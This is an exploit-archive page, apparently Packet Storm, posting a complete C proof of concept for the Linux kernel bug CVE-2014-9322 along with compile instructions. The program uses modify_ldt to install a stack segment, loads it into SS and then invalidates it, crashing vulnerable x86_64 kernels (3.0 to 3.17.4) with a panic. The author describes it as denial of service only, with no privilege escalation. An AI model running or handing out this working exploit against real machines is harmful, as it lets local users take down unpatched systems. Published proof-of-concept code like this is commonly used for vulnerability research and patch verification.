exploit the possibilities

Linux CVE-2014-9322 Proof Of Concept

Linux CVE-2014-9322 Proof Of Concept
Posted Mar 2, 2015
Authored by Emeric Nasi

arch/x86/kernel/entry_64.S in the Linux kernel before 3.17.5 does not properly handle faults associated with the Stack Segment (SS) segment register, which allows local users to gain privileges by triggering an IRET instruction that leads to access to a GS Base address from the wrong space. This is a POC to reproduce vulnerability. No exploitation here, just simple kernel panic.

tags | exploit, x86, kernel, local
systems | linux
advisories | CVE-2014-9322
MD5 | 41892d8c9ea011f2b0ebf36fcbb44cc6

Linux CVE-2014-9322 Proof Of Concept

Change Mirror Download

/* ----------------------------------------------------------------------------------------------------
* cve-2014-9322_poc.c
*
* arch/x86/kernel/entry_64.S in the Linux kernel before 3.17.5 does not
* properly handle faults associated with the Stack Segment (SS) segment
* register, which allows local users to gain privileges by triggering an IRET
* instruction that leads to access to a GS Base address from the wrong space.
*
* This is a POC to reproduce vulnerability. No exploitation here, just simple kernel panic.
*
* I have no merit to writing this poc, I just implemented first part of Rafal Wojtczuk article (this guy is a genius!)
* More info at : http://labs.bromium.com/2015/02/02/exploiting-badiret-vulnerability-cve-2014-9322-linux-kernel-privilege-escalation/
*
*
* Compile with gcc -fno-stack-protector -Wall -o cve-2014-9322_poc cve-2014-9322_poc.c -lpthread
*
* Emeric Nasi - www.sevagas.com
*-----------------------------------------------------------------------------------------------------*/

// Only works on x86_64 platform
#ifdef __x86_64__

/* ----------------------- Includes ----------------------------*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <asm/ldt.h>
#include <pthread.h>
#include <sys/time.h>
#include <inttypes.h>
#include <stdbool.h>
#include <errno.h>
#include <sys/user.h>



/* ----------------------- definitions ----------------------------*/


#define TARGET_KERNEL_MIN "3.0.0"
#define TARGET_KERNEL_MAX "3.17.4"
#define EXPLOIT_NAME "cve-2014-9322"
#define EXPLOIT_TYPE DOS


#define FALSE_SS_BASE 0x10000UL
#define MAP_SIZE 0x10000


/* ----------------------- Global variables ----------------------------*/


struct user_desc new_stack_segment;


/* ----------------------- functions ----------------------------*/


/**
* Creates a new segment in Local Descriptor Table
*/
static bool add_ldt(struct user_desc *desc, const char *name)
{
if (syscall(SYS_modify_ldt, 1, desc, sizeof(struct user_desc)) == 0)
{
return true;
}
else
{
printf("[cve_2014_9322 error]: Failed to create %s segment\n", name);
printf("modify_ldt failed, %s\n", strerror(errno));
return false;
}
}


int FLAG = 0;

void * segManipulatorThread(void * none)
{
new_stack_segment.entry_number = 0x12;
new_stack_segment.base_addr = 0x10000;
new_stack_segment.limit = 0xffff;
new_stack_segment.seg_32bit = 1;
new_stack_segment.contents = MODIFY_LDT_CONTENTS_STACK; /* Data, grow-up */
new_stack_segment.read_exec_only = 0;
new_stack_segment.limit_in_pages = 0;
new_stack_segment.seg_not_present = 0;
new_stack_segment.useable = 0;
new_stack_segment.lm = 0;

// Create a new stack segment
add_ldt(&new_stack_segment, "newSS");

// Wait for main thread to use new stack segment
sleep(3);

// Invalidate stack segment
new_stack_segment.seg_not_present = 1;
add_ldt(&new_stack_segment, "newSS disable");
FLAG = 1;
sleep(15);

return NULL;
}

/**
* DOS poc for cve_2014_9322 vulnerability
*/
int main()
{

pthread_t thread1;
uint8_t *code;

printf("[cve_2014_9322]: Preparing to exploit.\n");

// map area for false SS
code = (uint8_t *)mmap((void *)FALSE_SS_BASE, MAP_SIZE, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANON|MAP_PRIVATE, -1, 0);
if (code != (uint8_t *) FALSE_SS_BASE)
{
fprintf(stderr, "[cve_2014_9322 Error]: Unable to map memory at address: %lu\n", FALSE_SS_BASE);
return -1;
}

printf("[cve_2014_9322]: Panic!\n");
if(pthread_create(&thread1, NULL, segManipulatorThread, NULL)!= 0)
{
perror("[cve_2014_9322 error]: pthread_create");
return false;
}

// Wait for segManipulatorThread to create new stack segment
sleep(1);

// Set stack segment to newly created one in segManipulatorThread
asm volatile ("mov %0, %%ss;"
:
:"r" (0x97)
);

while(FLAG == 0){};
sleep(4);

return 0;
}


#endif // __x86_64__
Login or Register to add favorites

File Archive:

July 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    13 Files
  • 2
    Jul 2nd
    12 Files
  • 3
    Jul 3rd
    1 Files
  • 4
    Jul 4th
    2 Files
  • 5
    Jul 5th
    34 Files
  • 6
    Jul 6th
    21 Files
  • 7
    Jul 7th
    21 Files
  • 8
    Jul 8th
    13 Files
  • 9
    Jul 9th
    6 Files
  • 10
    Jul 10th
    1 Files
  • 11
    Jul 11th
    3 Files
  • 12
    Jul 12th
    15 Files
  • 13
    Jul 13th
    19 Files
  • 14
    Jul 14th
    15 Files
  • 15
    Jul 15th
    15 Files
  • 16
    Jul 16th
    9 Files
  • 17
    Jul 17th
    2 Files
  • 18
    Jul 18th
    2 Files
  • 19
    Jul 19th
    19 Files
  • 20
    Jul 20th
    21 Files
  • 21
    Jul 21st
    53 Files
  • 22
    Jul 22nd
    14 Files
  • 23
    Jul 23rd
    14 Files
  • 24
    Jul 24th
    1 Files
  • 25
    Jul 25th
    1 Files
  • 26
    Jul 26th
    21 Files
  • 27
    Jul 27th
    8 Files
  • 28
    Jul 28th
    9 Files
  • 29
    Jul 29th
    12 Files
  • 30
    Jul 30th
    9 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close